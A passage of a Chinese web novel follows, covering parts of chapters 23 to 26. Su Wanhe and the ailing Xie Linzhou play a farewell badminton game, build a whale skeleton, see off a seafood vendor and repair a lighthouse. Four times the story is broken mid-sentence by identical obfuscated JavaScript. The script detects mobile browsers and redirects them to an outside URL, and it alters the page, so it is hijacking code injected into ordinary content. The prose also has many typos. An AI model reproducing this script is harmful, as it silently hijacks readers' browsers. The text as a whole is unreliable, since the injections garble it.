“还是七个球?”苏晚禾问。 “嗯。” 谢临洲发球。他的动作依然标准,但苏晚禾能看出来,他的力量比上次弱了很多。球飞过来,轻飘飘的,她轻易就接住了。 几个回合后,苏晚禾发现了问题:谢临洲只打高远球。他把每个球都打到她后场,让她满场跑动,而他自己几乎不动位置。 “你在让着我?”她问。 “没有。”些临洲说,“我在教你。” “教我什么?” “跑动。”谢临洲说,“羽毛球最重要的不是手法,是步法。你脚步太慢,总等球到了才动。要预判,然后提前启动。” 他又发了一个高远球。这次苏晚禾试着提前移动,果然接得更轻松了。 “对,就这样。”谢临洲说,“记住这种感觉。” 他们打了二十分钟。比分一直交替上升,但苏晚禾知道,谢临洲在控制局面。他每次都能把球打到她最不舒服的位置,逼她练习不同的步法:前后跑,左右移动,急停转身...... 打到第四个球事,谢临洲突然停下来,撑着膝盖喘气。汗水顺着他的额头流下来,脸色白得吓人。 “休息一下。”苏晚禾说。 “不用。”谢临洲直起身,“继续。” 但他的动作明显慢了。苏晚禾能看出来,他在硬撑。每一次挥拍,每一次移动,都像是用尽了全部力气。 第五个球,谢临洲打出了一个漂亮的斜线球。苏晚禾跑到网球接起,回了个后场。谢临洲后退,跳起—— 他做了一个杀球动作,但没有杀,而是轻轻把球吊到网前。 苏晚禾上网接球,谢临洲已经等在网前,轻轻一挑—— 球擦着网过去,落地得分。 “4:1。”谢临洲说,声音有些喘。 苏晚禾看着他。他站在那里,汗水浸湿了运动服,贴在瘦削的身体上。但他的眼睛很亮,像燃烧着什么。 “继续。”他说。 第六个球打了很久。谢临洲开始教她往网前技术:搓球,放网,勾对角。每个动作他都示范得很仔细,虽然体力不支,但动作依然标准。 “手腕要放松。”他一边做一边说,“像这样,轻轻一点......” 苏晚禾跟着学。她发现写临洲的教学方向变了,不像以前那样只说要点,而是每一个细节都讲解得很清楚,像是在......在留下什么。 最后一个球。谢临洲发了个高远球,然后站在原地不动了。他看着苏晚禾跑到位,接球,回球。球飞过来时,他没有接,而是让球落在地上。 “5:2”他说,“我赢了。” 苏晚禾愣住:“你为什么不接?” “因为该教的都教完了。”谢临洲走到墙边,靠着墙坐下,“剩下的,你要自己练。” 苏晚禾走过去,在他旁边坐下。两人都喘着气,汗水滴在地板上,很快被灰尘吸收。 球馆里很安静。远处的海浪声隐约传来,还有风声穿过破损窗户的呜咽。 “我刚开始打球的时候,也在这个球馆。”谢临洲突然开口,“那时候才八岁,教练说我太瘦,不合适打羽毛球。我不服气,每天放学就来这里练,对墙打,打到天黑。” 他顿了顿,继续说:“后来进了市队,省队,还是经常回来。这里的地板熟悉我的脚步,墙壁记得我挥拍的声音。有时候训练累了,我就想,等我退役了,要回来当教练,教这里的孩子打球。” 苏晚禾安静地听着。 “现在......”谢临洲看着空荡的场地,“现在它要没了。” 他的声音很平静,但苏晚禾听出了里面的难过。 “对不起。”她说。 “为什么道歉?” “我......我不知道该说什么。” 谢临洲笑了:“你不用说什么。陪我打完这场球,就够了。” 他们又在球馆里坐了一会。谢临洲站起来,走到墙壁,从球拍包里掏出一支马克笔。 “你要干什么?”苏晚禾问。 “留个纪念。” 谢临洲在墙上找了一块相对干净的墙面,开始写字。他的字很工整,一笔一划: “谢临洲,2012—2022,在此训练。 苏晚禾,2022年,再此学习。 愿每个热爱运动的人,都能找到属于自己的球场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933704|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再见了,老朋友。” 写完,他放下笔,后退两步,看着那些字。 “你也写一句?”他问苏晚禾。 苏晚禾接过笔。她想了想,在谢临洲的字下面,写了一行小字: “谢谢你教我打球。我会好好练的。——苏晚禾” 放下笔,两人并肩站着,看着墙上的字。午后的阳光从窗户斜射进来,正好照在那块墙面上,字迹再光影中格外清晰。 “走吧。”谢临洲说。 他们收拾好东西,最后看了一眼球馆。谢临洲走在前,苏晚禾跟在后面。走到门口时,谢临洲停下脚步,回头看了一眼。 那一眼很长,很深。 像要把整个球馆都装进眼睛里。 然后他转身,拉开门,走了出去。 门在身后关上时,发出沉重的响声。像是一声叹息。 回去的路上,两人走得很慢。些临洲的体力已经透支了,几乎每走几步就要停下来喘气。苏晚禾扶着他,能感觉到他全身的重量。 “谢临洲。”她轻声说。 “嗯?” “等你好了,我们在找个球馆。我陪你练。” 谢临洲沉默了很久,然后说:“好。” 但他们都清楚,可能没有那一天了。 走到谢临洲家楼下时,天已经开始暗了。路灯亮起来,在冬日的暮色中显得格外温暖。 “上去吧。”苏晚禾说,“好好休息。” “应该的。” 谢临洲转身上口。走到楼梯拐角时,他突然回头:“苏晚禾。” “嗯?” “以后也要好好打球。” 苏晚禾鼻子一酸,用力点头:“好。” “不管我在不在,都要好好打。游泳也是。” 这句话说得太直白,苏晚禾的眼泪一下子泳了出来。她赶紧低下头,不想让他看见。 “我上去了。”谢临洲说, “嗯。” 苏晚禾站在楼下,看着谢临洲房间的灯亮起来。然后她转身,慢慢往回走。 冬天的夜晚很冷,风像刀子一样刮在脸上。但她没觉得冷。 她脑子里全是刚才球馆里的画面:谢临洲挥拍的样子,他流汗的样子,他写字的样子,他最后回头看的样子...... 每个画面,都像刻在拉脑子里。 走到疗养院门口时,她回头看了一眼镇字的方向。 球馆在那里,但很快就要没了。 谢临洲在那里,但...... 她不敢往下想。 抬起头,天空中有几颗星星,很微弱,但倔强地亮着。 她想,也许有些东西,就算消失了,也会以另一种方式存在。 就像那个球馆,就算拆了,也会留在记忆里。 就像谢临洲教她那些技术,就算他不在了,她也会继续脸。 就像他们写在墙上的字,就算墙倒了,也会有人记得。 她深吸一口气,走进疗养院。 明天太阳还会升起。 而她会继续游泳,继续打球,继续活着。 带着他教给她的所有东西。 24. 第 24 章 第二十四章:鲸鱼骨标本制作指南 一月下旬,谢临洲收到一个包裹。 那天苏晚禾照例去给她送午饭,敲门后等了很久才开。谢临洲穿着睡衣,头发有些乱,手里拿着个拆了一半的快递箱。 “这是什么?”苏晚禾问。 “不知道。”谢临洲把箱子放在桌上,“刚送来的。” 箱子不大,外面站着快递单,寄件人那栏只写了“海洋生物爱好者协会”。谢临洲用剪刀拆开封条,打开箱子,里面是厚厚的泡沫填充物。 挖开泡沫,露出了里面的东西,一副完整的鲸鱼骨手工标本,大约半米长,每一块骨头都单独包装,附带着图纸和工具包。 “天啊。”苏晚禾凑过去卡,“这得多少钱?” 谢临洲从箱底拿出一张卡片:“应该是协会的送手工材料包。” 卡片上却是写着:“致谢临洲:感谢你坚持观星和海洋观测的记录。这份鲸鱼骨标本材料包是我们的小小心意,希望你能享受拼装的乐趣。——海洋生物爱好者协会。” “你认识他们?”苏晚禾问。 “在网上论坛交流过。”谢临洲拿起一块骨头,“他们知道我喜欢鲸鱼。” 骨头是乳白色的,打磨得很光滑,边缘贴着编号标签。工具包里有镊子、胶水、小刷子,还有一本详细的说明书。 “现在拼吗?”苏晚禾眼睛发亮。 “嗯。”谢临洲点头,“你帮我?” “当然!” 他们把桌子清理出来,铺上旧报纸。谢临洲按照说明书,先找出最大那块——脊柱骨。苏晚禾负责拆包装,小心地取出每一块骨头,按编号摆好。 “这是颈椎。”谢临洲指着弧形的骨头,“鲸鱼的颈椎很短,但很灵活,这样它们在水中才能灵活转向。” “那怎么什么都知道?”苏晚禾惊叹。 “看得多就记住了。”谢临洲拿起另一块,“这是肋骨。鲸鱼的肋骨很长,要保护巨大的胸腔。” 他们一块一块地拼。谢临洲负责指挥,苏晚禾负责打下手。拼装需要耐心,有些骨头很小,需要镊子夹着涂胶水,在小心翼翼地粘到正确的位置。 拼到三分之一时,苏晚禾的手机响了。是疗养院打来的,问她还回不回去吃午饭。 “我在朋友这吃过了。”她说,“下午在回去。” 挂掉电话,她看了眼谢临洲。他正专注地看着图纸,用镊子夹着一块小小的耳骨,准备粘到头骨上。阳光从窗外照进来,在他脸上投下柔和的影子。 “你不累吗?”她问。 “有点。”谢临洲是,“但想把它拼完。” 他们继续。头骨是最复杂的部分,有很多细小的骨头:上颌骨、下颌骨、颧骨、鼻骨......每一块都要对得很准,谢临洲的手很稳,虽然脸色常白,但动作一丝不苟。 拼装的过程中,他给苏晚禾讲解鲸鱼的知识。 “鲸鱼分为须鲸和齿鲸。须鲸没有牙齿,有鲸须板,像筛子一样过滤磷虾和小鱼。齿鲸有牙齿,捕食鱼类和乌贼。” “蓝鲸是最大的动物,心脏有一辆小汽车那么大。” “座头鲸会唱歌,歌声能传几百公里。” “虎鲸其实不是鲸,是海豚科的,但大家都叫它杀人鲸......” 苏晚禾认真听着。她发现谢临洲说起这些时,眼睛里有光,声音也比平时有力些。 下午三点,他们拼到了脊柱部分。脊柱由二十多块椎骨组成,每块都要对齐,不能有偏差。谢临洲已经有些累了,动作慢了下来。 “休息会吧。”苏晚禾说。 “把这一段拼完。” 他有坚持了二十分钟,终于把脊柱拼好了。看着桌子上初具雏形的鲸鱼骨架,他轻轻呼出一口气。 “好看吗?”他问。 “好看。”苏晚禾由衷地说,“像真的小鲸鱼。” 谢临洲靠在椅背上,闭上眼睛。他的呼吸有些急促,额头上渗出汗珠。 “很累?”苏晚禾担心地问。 “嗯。”谢临洲说,“但值得。” 休息了半小时,他们继续。最后的肋骨和鳍骨相对简单些,但也需要细心。太阳渐渐西斜,房间里的光线暗下来。苏晚禾打开台灯,暖黄的光照亮桌面。 下午五点,最后一块骨头,粘上了。 一副完整的鲸鱼骨架,展现在他们面前。半米长,乳白色的骨头在灯光下泛着温润的光泽。脊柱流畅的曲线,肋骨优美的弧度,骨头精致的结构......每一处都体现着造物的精妙。 两人静静地看着。房间里很安静,只有窗外隐约的海浪声。 “真美。”苏晚禾轻声说。 “嗯。”谢临洲伸出手,轻轻抚摸骨架的脊柱,“你知道鲸落吗?” “鲸落?” “鲸鱼死后,尸体会沉入海底。”谢临洲说,“这个过程叫鲸落。它的身体会成为深海生态系统的养料,养活很多生物:盲鳗、睡鲨、深海蟹......最后连骨头都会变细菌分解,变成海底的矿物质。” 他的手指沿着脊柱滑到尾椎:“一个鲸鱼的死亡,可以滋养一个生态系统上百年。所以科学家说,鲸落是深爱的生命绿洲。” 苏晚禾听着,心里涌起一种复杂的情绪。悲伤,但又不仅仅是悲伤。 “所以,”谢临洲抬起头看她,“生命结束,也可以说另一种开始。” 这句话他说得很轻,但落在苏晚禾耳朵里很重。 她突然明白了谢临洲为什么这么喜欢鲸鱼。不只是因为它们庞大、安静、会唱歌,更因为它们的死亡方向——不是消失,而是转化。从一种生命心态,变成无数生命的养分。 “你......”她张了张嘴,却不知道该说什么。 “我没事。”谢临洲笑了,“只是突然想带这些。” 他看着鲸鱼骨架,眼神很温柔:“也许有一天,我也会想鲸落一样。身体回归自然,变成别的什么......” “别说了。”苏晚禾的声音有些哽咽。 “好,不说了。”谢临洲从桌上拿起最后一个小零件——那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933705|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块小小的铭牌,上面刻着“鲸落:深海的生命循环。”他把它粘在底座上。 “完成了。”他说。 他们又看了很久,直到天色完全暗下来,苏晚禾才想起该回去了。 “我帮你收拾?”她问。 “不用。”谢临洲说,“我想再看会。” “那......我明天再来?” “好。” 苏晚禾离开时,回头看了一眼。谢临洲还坐在桌前,台灯的光晕把他和鲸鱼骨架笼在一起。他低着头,看着那些骨头,手指轻轻触碰着,像在跟老朋友说话。 回到疗养院,苏晚禾直接去了阅览室。她在电脑上查了“鲸落”的资料。 图片显示深海中的鲸鱼尸体,周围围绕着各种奇怪的生物:盲鳗在撕扯腐肉,睡鲨在啃食骨头,深海蟹在缝隙里爬行......然后是几年后的照片:骨头已经被微生物覆盖,像珊瑚礁一样。几十年后:骨头变成矿物质沉淀,周围长出了新的生物。 “一鲸落,万物生。”资料上这么写着。 苏晚禾看着那些图片,心里那点悲伤慢慢沉淀下来,变成一种更厚重的东西。 不是绝望,而是......接受。 接受生命的有限,接受死亡的必然,但也接受转化的可能。 她关上电脑,走到窗前。夜色中的大海漆黑一片,今晚有雾,看不见远处灯塔的光。 但她知道,灯塔在那里。 鲸鱼在那里。 谢临洲也在那里。 第二天,她在去谢临洲家事,鲸鱼骨架已经摆在了书桌最显眼的位置,挨着那个座头鲸玩偶和星星罐子。 “我给它起了个名字。”谢临洲说。 “什么名字。” “晚洲。” 苏晚禾愣了一下:“晚洲?” “嗯。晚禾的晚,临洲的洲。”谢临洲说,“我们俩名字的组合。” 苏晚禾看着那副骨架,心里涌起一股暖流。 “好听。”她说。 谢临洲笑了:“我也觉得。” 他们站在桌前,看着“晚洲”。阳光照在骨头上,每一块都闪着微光。 “谢临洲。”苏晚禾突然说。 “嗯?” “如果......如果真有那一天,你要答应我一件事。” “什么事?” “你要变成一颗树。”苏晚禾说,“长在海边的那种。这样我每次去看海,都能看见你。” 谢临洲沉默了很久。然后点点头:“好。” “真的?” “真的。” 苏晚禾笑了,眼泪去掉了下来。她赶紧擦掉:“那说好了。” “说好了。” 他们拉钩,像小孩子一样。手指勾在一起,暖暖的。 窗外的海鸥飞过,叫声清脆。 阳光很好,照在“晚洲”上,照在他们身上。 一切都安静而美好。 像鲸落前的平静海面。 深沉,辽阔,孕育着无限的可能。 25. 第 25 章 第二十五章:海鲜摊的告别宴 二月初,海鲜摊老赵要搬走了。 消息是苏晚后去买鱼食,隔壁摊位的大婶说的:“老赵儿子在城里买了房,接他过去享福。摊位月底就转手,这几天正清货呢。” 苏晚禾愣了一眼,赶紧跑到老赵的摊位。摊位上还摆着各种海鲜,但明显比平时少了很多。老赵正在收拾东西,看见她,笑着打招呼:“晚禾来了?今天要什么?” “赵叔,你要走?”苏晚禾直接问。 老赵手里的动作顿了顿:“嗯。月底走。” “怎么没听你说?” “又不是什么大事。”老赵继续整理冰柜,“老了,该歇歇了。” 苏晚禾站在那里,突然不知道该说什么。老赵帮她熬过汤,给她食疗方子,关心谢临洲的病情......这个总是笑眯眯的大叔,已经成了她在云港很重要的一个人。 “什么时候走?我送你。”她最后说。 “不用送。”老赵摆摆手,“就悄悄地走,挺好。” “那......走之前一起吃顿饭?”苏晚禾说,“带上谢临洲,我们一起。” 老赵看着她真诚的眼神,想了想,点点头:“行。就今晚吧,我收摊早。” “好!我回去准备!” 苏晚禾匆匆赶回疗养院,把这个消息告诉了张阿姨。 张阿姨一听也很感慨:“老赵在这儿摆摊十几年了,说走就走......是该好好送送他。” 两人在厨房忙活起来。 张阿姨做了几个拿手菜:红烧肉、糖醋排骨、清蒸鱼、炒时蔬。 苏晚禾打下手,洗菜切菜,忙得不亦乐乎。 下午四点,她提着保温盒去找谢临洲。 “今晚在老赵那儿吃饭。”她说,“他要搬走了。” 谢临洲正在看书,听到这话抬起头:“搬去哪儿?” “城里,跟儿子住。” 谢临洲沉默了一会儿:“是该去享福了。” “我们去送送他?” “好。” 晚上六点,老赵准时收了摊。 他在摊位后面支了张小桌子,摆了三把塑料凳。 苏晚禾和谢临洲到的时候,他已经把摊位收拾干净,连冰柜都擦得锃亮。 “来了?”老赵招呼他们,“坐,坐。” 苏晚禾把保温盒一个个打开,菜还热着,香气扑鼻。 她又从包里拿出两瓶饮料,谢临洲不能喝酒,她也不喝。 “就这些?”老赵看了看,“不够丰盛啊。等着。” 他转身进了后面的小仓库,出来时端着一个大盘子,上面是刚蒸好的大螃蟹:“今天最后一天营业,留了几只好的,咱们自己吃。” “赵叔,这太贵重了......”苏晚禾说。 “贵重啥,不吃明天也得扔。”老赵把螃蟹放在桌子中央,“都坐下,开吃。” 三人围着小桌子坐下。天色已经暗了,老赵拉亮了摊位的灯,昏黄的灯光照出一片温暖的光晕。远处码头的灯火星星点点,海风带来咸湿的气息。 “来,第一口给晚禾。”老赵夹了块最大的螃蟹腿给苏晚禾,“辛苦了,天天往医院跑。” “谢谢赵叔。” “第二口给小谢。”老赵又夹了块给谢临洲,“多吃点,补补身子。” 谢临洲接过:“谢谢赵叔。” “谢啥,都是缘分。”老赵给自己也夹了块,一边剥壳一边说,“我在这摆摊十二年,见过的人多了。但像你俩这样的,少见。” “我们怎么了?”苏晚禾问。 “一个拼命想游,一个拼命想打。”老赵说,“都受了伤,都不认命,还互相搀扶着往前走。这样的,少见。” 苏晚禾和谢临洲对视一眼,都没说话。 “我老婆当年也是。”老赵继续说,声音有些低沉,“病了两年,我照顾了两年。那时候就觉得,能陪着,就是福气。” 他喝了口饮料,继续说:“所以我看你俩,就想起那时候。年轻人啊,要珍惜。能陪着的时候好好陪着,以后......以后的事,谁知道呢。” 这话说得有点沉重,气氛一时沉默。 “哎呀,说这些干啥。”老赵拍拍桌子,“吃菜吃菜!张阿姨这红烧肉做得地道!” 气氛又活跃起来。老赵讲起他这些年摆摊的趣事:有游客把活章鱼当玩具,结果被喷了一脸墨;有小孩偷偷往鱼盆里倒可乐,说是给鱼喝汽水;还有一次台风天,整个摊位被吹翻了,他在雨里捡了一晚上的鱼...... 苏晚禾和谢临洲听着,不时笑出声。 吃到一半,老赵突然放下筷子,看着谢临洲:“小谢,你以后有什么打算?” 谢临洲愣了一下:“打算?” “嗯。”老赵说,“病总要治,但日子也要过。有什么想做的事,趁着还能做,就去做。” 谢临洲沉默了一会儿:“我想......把观星的记录整理出来。这几年记了很多数据,想整理成册,留给以后的人参考。” “还有呢?” “还有......”谢临洲看了看苏晚禾,“想看她游一次泳。真正的游泳。” 苏晚禾鼻子一酸,低下头。 “这个好。”老赵点头,“晚禾你呢?” “我?”苏晚禾想了想,“等肩膀好了,我想回泳池试试。不比赛了,就游着玩。还有......想陪谢临洲整理那些记录。” “都挺好。”老赵笑了,“有想做的事,日子就有盼头。” 他又给自己倒了杯饮料,举起杯子:“来,碰一个。祝你们......都能完成想做的事。” 三人碰杯。塑料杯碰撞发出沉闷的响声,在夜晚的海风中显得格外温暖。 吃完饭,老赵开始收拾桌子。苏晚禾要帮忙,被他拦住了:“你们俩坐着,我最后收拾一次。” 他看着摊位的每一个角落:冰柜、秤、水盆、刀具......每一件东西都用布仔细擦拭,然后收进纸箱。 “这些东西怎么办?”苏晚禾问。 “留给接手的。”老赵说,“他是我表侄,人老实,会好好干。” 收拾完,老赵锁上摊位的小铁门。钥匙在手里转了几圈,最后放进口袋。 “走吧。”他说。 三人并肩走在码头上。夜晚的码头很安静,只有海浪拍打堤岸的声音。远处的灯塔规律地旋转着,光柱扫过海面。 走到岔路口,老赵停下脚步:“就到这儿吧。” “赵叔......”苏晚禾突然不知道该说什么。 “别难过。”老赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936801|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍她的肩,“我是去享福,又不是去受罪。” 他从口袋里掏出一个小布袋,递给苏晚禾:“这个给你。” 苏晚禾打开,里面是一串贝壳手链,各种颜色的小贝壳用细绳串在一起,在路灯下闪着微光。 “我自己串的。”老赵说,“不值钱,就是个念想。” “谢谢赵叔。”苏晚禾戴在手腕上,大小正好。 老赵又掏出一个东西,递给谢临洲。那是一块黑色的石头,被打磨得很光滑,上面刻着一条简笔画的鲸鱼。 “这是我在海边捡的,磨了好几年。”老赵说,“给你。鲸鱼......代表自由。” 谢临洲接过石头,握在手心里:“谢谢赵叔。” “好了,我走了。”老赵朝他们摆摆手,“你们俩好好的,啊?” “赵叔保重。”苏晚禾说。 “保重。”谢临洲也说。 老赵转身,朝镇子的方向走去。他的背影在路灯下显得有些佝偻,但脚步很稳。走到街道拐角时,他停下来,回头看了一眼。 然后挥了挥手,消失在夜色里。 苏晚禾和谢临洲站在原地,很久没动。 海风吹过来,带着咸味和凉意。 “我们也回去吧。”谢临洲说。 “嗯。” 两人往回走。手腕上的贝壳手链随着步伐轻轻碰撞,发出细碎的声响。谢临洲手里握着那块鲸鱼石头,一直没松手。 走到谢临洲家楼下,苏晚禾停下脚步。 “我上去了。”谢临洲说。 “好。” 谢临洲转身上楼。走到楼梯一半时,他突然回头:“苏晚禾。” “嗯?” “你答应我一件事。” “什么事?” “如果有一天我不在了,你......别太难过。”谢临洲说,“继续游泳,继续打球,继续好好生活。” 苏晚禾的眼泪一下子涌了出来。她用力点头,却说不出话。 “能做到吗?” “能。”她哑着声音说,“我能。” “那就好。”谢临洲笑了,“晚安。” “晚安。” 苏晚禾看着谢临洲上楼,房间的灯亮起来。她在楼下站了很久,直到手脚都冻麻了,才转身离开。 回疗养院的路上,她一直在想老赵说的话。 “有想做的事,日子就有盼头。” 是的,有盼头。 她想看谢临洲整理完观星记录。 想看他把那些数据变成一本厚厚的册子。 想看他在灯塔顶,指着星空说:“这些,我都记下来了。” 还有...... 她摸了摸手腕上的贝壳手链。 还有,要戴着这串手链,游一次泳。 给老赵看,给谢临洲看,给自己看。 远处传来海鸥的叫声,在夜空中显得格外清晰。 一下,又一下。 像在说什么。 又像什么都没说。 她抬起头,看着星空。 今晚天气很好,星星很亮。 她知道,有个人正在看同样的星空。 在记录,在整理,在......活着。 这就够了。 真的够了。 26. 第 26 章 第二十六章:灯塔维修计划与搁浅 天气回暖的迹象是从海风开始的。 不再是刺骨的湿冷,而是带着些许温度的微凉。沙滩上开始出现散步的人,疗养院的老人们也愿意到花园里坐坐了。苏晚禾站在泳池边,看着水面上的波光,突然意识到:春天来了。 她的肩膀恢复得越来越好。王医生说,如果保持这个进度,三月初就可以尝试真正的游泳训练了。 “等你能游了,第一件事是什么?”复健事,护士小陈问她。 苏晚禾想了想:“去海边,游给一个人看。” “谢临洲?” “嗯。” 小陈笑了:“那他一定很高兴。” 是的,他一定会高兴。苏晚禾想着,嘴角忍不住上扬。她要游五十米自由泳,让他计时。就像他们约定的那样。 周三晚上,她和谢临洲坐在灯塔顶层,海风吹得破旧的窗户嘎吱作响,灰尘从天花板的裂缝簌簌落下,掉在星图上。 “这地方快撑不住了。”苏晚禾说。 “嗯。”谢临洲正在擦拭望远镜的镜头,“镇政府说没钱修。” “我们自己修呢?” 谢临洲抬起头看她:“我们?” “对啊。”苏晚禾的眼睛亮起来,“反正你每周都来,我也每周都来。咱们一点点修,补窗户,加固楼梯,清理垃圾......总能好一点。” 谢临洲沉默了一会,然后点了点头:“可以试试。” 说干就干。第二天,苏晚禾就拉着谢临洲去了镇上的建材市场。市场不大,只有几家店铺卖水泥、木板、玻璃。他们买不起新玻璃,就买了最便宜的塑料板,打算先堵上破损最严重的几个窗户。 “还要刷漆。”苏晚禾指着灯塔剥落的红白漆皮,“这个我能干。” “梯子呢?”谢临洲问。 “疗养院仓库有,我去借。” 他们抱着塑料板、几桶油漆和工具回到灯塔。苏晚禾爬上去量尺寸,谢临洲在下面画图。虽然都不是专业木工,但胜在有耐心。 第一个周末,他们补了两扇窗户。苏晚禾负责切割塑料板,谢临洲负责打孔固定。塑料板比玻璃后,透光性差一些,但至少能挡风。 “等有钱了换玻璃。”苏晚禾一边拧螺丝一边说。 “嗯。” 补好窗户,塔顶果然暖和了些。至少风不再呼呼地往里灌了。 第二周,他们开始清理垃圾。灯塔底层推着不知道多少年前的废物:破渔网、生锈的铁桶、腐烂的木板......苏晚禾戴上手套一件件往外搬,谢临洲负责分类:能回收的放一边,不能回收的放另一边。 清理过程中,他们发现了一些有趣的东西:一个生锈的煤油灯,几张泛黄的海图,还有一个老式的罗盘。 “这些东西可能有些年头了。”谢临洲小心地拿起罗盘,指针居然还能动。 “留着吧。”苏晚禾说,“等修好了,放在灯塔里当装饰。” 第三周,他们开始修补楼梯。螺旋铁梯有几级已经锈蚀得严重,踩上去嘎吱作响,感觉随手会塌。苏晚禾借来了焊接工具,谢临洲负责扶着铁板,她负责焊接,这是她跟疗养院维修工学的,动作生疏,但还算稳当。本来维修工师傅说可以他来给他们焊,但苏晚禾拒绝了。 焊火花在昏暗的塔内飞溅,映亮了两人的脸。苏晚禾戴着防护面罩,汗从额头上流下来。谢临洲站在她身后,用手电筒照着焊接点。 “好了。”焊完最后一处,苏晚禾摘下防护罩,长出一口气。 谢临洲试了试那级楼梯,稳稳的。 “可以。”他说。 他们一阶一阶地检查、修补,用了两个下午的时间,把最危险的几级楼梯都加固了。虽然看起来还是旧,但至少安全了。 第四周,苏晚禾开始刷漆。她借来长梯,爬上去刷灯塔外墙。红色和白色的油漆交替,把剥落的地方一点点补上。谢临洲在下面帮她扶梯子,漆油漆桶。 “左边一点,对,那里还有一块没刷到。”他在下面指挥。 “知道了知道了。”苏晚禾一手抓着梯子,一手挥动刷子。油漆滴下来,落在她脸上,她也不在意。 刷到一半时,谢临洲突然说:“苏晚禾。” “嗯?” “谢谢你。” 苏晚禾低头看他。他站在下面,仰着头,阳光照在他脸上,他的眼睛很亮。 “谢什么?” “谢你做这些。”谢临洲说,“为了我。” “也是为了我自己。”苏晚禾继续刷漆,“我也喜欢这里。” 但他们都清楚,如果不是谢临洲每周要来,她可能不会这么上心。 刷完外墙,他们开始布置塔顶。苏晚禾把清理出来的老五件洗刷干净,摆在桌上:煤油灯放在角落,海图贴在墙上,罗盘放在望远镜旁边。她还从疗养院拿来了几盆绿萝,张阿姨说绿萝好养,不用经常浇水。 灯塔渐渐有了变化。窗户不漏风了,楼梯不响了,墙面变新了,塔顶还有了绿植。虽然还是很简陋,但至少像个能待人的地方了。 “还差什么?”苏晚禾环顾四周。 “窗帘。”谢临洲说,“晚上观星的时候,窗帘可以挡掉一些光污染。” “那去买。” 他们又去了趟市场,挑最便宜的深蓝色后布。苏晚禾借了疗养院的缝纫机,自己裁剪缝制。她没做过针线活,窗帘缝得歪歪扭扭,但挂上去后效果还不错。 “完美。”她欣赏着自己的作品。 “嗯。”谢临洲站在她身边,“很完美。” 一切都很顺利。直到那个下午。 那天他们计划去买最后一批材料——几块木板,用来修补塔顶的地板。苏晚禾提前查了价格,算了算手里的钱,够用。 “早点去,下午就能装上。”她对谢临洲说。 “好。” 他们走到建材市场。店老板是个中年男人,认识他们。 “又来啦?”老板笑着打招呼,“今天要什么?” “这几块木板。”苏晚禾指着角落的几块松木板,“多少钱?” 老板看了看:“算你们便宜点,一百二。” 苏晚禾正要掏钱,谢临洲突然说:“等等。” 他走到木板前,蹲下身仔细看。苏晚禾也蹲下来:“怎么了?” “这里。”谢临洲指着木板边缘的一条裂缝,“这是旧的,修补过的。” 老板脸色变了变:“小兄弟眼尖啊......这个确实修补过,但不影响使用。这样,再便宜二十,一百块拿走。” 苏晚禾看向谢临洲。谢临洲摇摇头:“我们买新板。” “新的贵啊。”老板说,“一样的尺寸,新的要一百八。” 苏晚禾算了手里的钱,只有一百五。 “那......”她犹豫了。 “不买了。”谢临洲站起来,“我们去别家看看。” “别家更贵。”老板说,“这镇上就我一家卖建材。” 谢临洲没说话,拉着苏晚禾往外走。走到门口时,他突然停下脚步,手撑着门框,身体晃了晃。 “怎么了?”苏晚禾赶紧扶住他。 谢临洲没回答,他的脸色突然变得煞白,额头上渗出冷汗。呼吸变得急促,整个人往下滑。 “谢临洲!”苏晚禾用里撑住他,“老板,帮帮忙!” 老板跑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943853|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,帮她把谢临洲扶打到店里的椅子上。谢临洲闭着眼睛,嘴唇发紫,手紧紧按在胸口。 “他这是......”老板有些慌。 “他身体不好。”苏晚禾也慌了,“麻烦您帮我叫辆车,去医院!” 老板赶紧去叫车。苏晚禾蹲在谢临洲面前,握着他的手:“谢临洲,能听见我说话吗?坚持住,我们去医院。” 谢临洲睁开眼睛,眼睛涣散。他想说什么,但发不出声音。 车很快来了。老板和苏晚禾一起把谢临洲扶上车。去医院的路上,苏晚禾一直握着他的手,感觉到他的手越来越凉。 